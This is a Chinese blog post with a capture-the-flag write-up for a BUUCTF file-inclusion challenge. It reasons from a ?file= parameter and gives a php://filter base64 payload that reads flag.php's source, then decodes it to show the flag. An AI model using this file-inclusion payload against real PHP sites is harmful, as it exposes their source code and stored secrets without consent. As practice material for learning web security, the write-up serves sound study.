

BUUCTF-[ACTF2020 新生赛]Include1

原创

[Monica](#) 于 2021-09-07 21:03:24 发布 90 收藏 2
分类专栏: [BUUCTF](#) 文章标签: [安全漏洞](#) [网络安全](#) [信息安全](#)
版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_46918279/article/details/120167091
版权



[BUUCTF 专栏收录该内容](#)

20 篇文章 1 订阅
订阅专栏
目录

题目:

分析:

方法:

题目:

← → ↻ ▲ 不安全 | 648d84d9-6872-4a88-979d-765de71a5806.node4.buuoj.cn:81

[tips](#)

CSDN @ _Monica_

分析:

点击tips

← → ↻ ▲ 不安全 | 648d84d9-6872-4a88-979d-765de71a5806.node4.buuoj.cn:81/?file=flag.php

Can you find out the flag?

CSDN @ _Monica_

发现url中出现了?file=flag.php, 猜测为get传参进行文件包含,但是虽然包含了flag.php文件, 但是并没有输出flag, 猜测可能是被注释掉了。

因为文件包含读取的是文件, 而不是文件源码, 内容里面是php代码的话就会执行。

尝试使用php伪协议来过滤读取, 使其中的php代码失效

方法:

```
payload:?file=php://filter/convert.base64-encode/resource=flag.php
```

将得到的base64编码内容进行解码，得到flag

请输入要进行 Base64 编码或解码的字符

```
PD9waHAKZWNobyAiQ2FulHlvdSBmaW5kiG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTNkZTFiODYtMmRhMC00ZjM3LWI1OTItZjg0ZDYzMmZmOVM0fQo=
```

编码 (Encode)

解码 (Decode)

↕ 交换

(编码快捷键: **Ctrl** + **Enter**)

Base64 编码或解码的结果:

编/解码后自动全选

```
<?php
echo "Can you find out the flag?";
//flag{93de1e86-2da0-4f37-b592-f84d632ff9c4}
```

CSDN @ _Monica_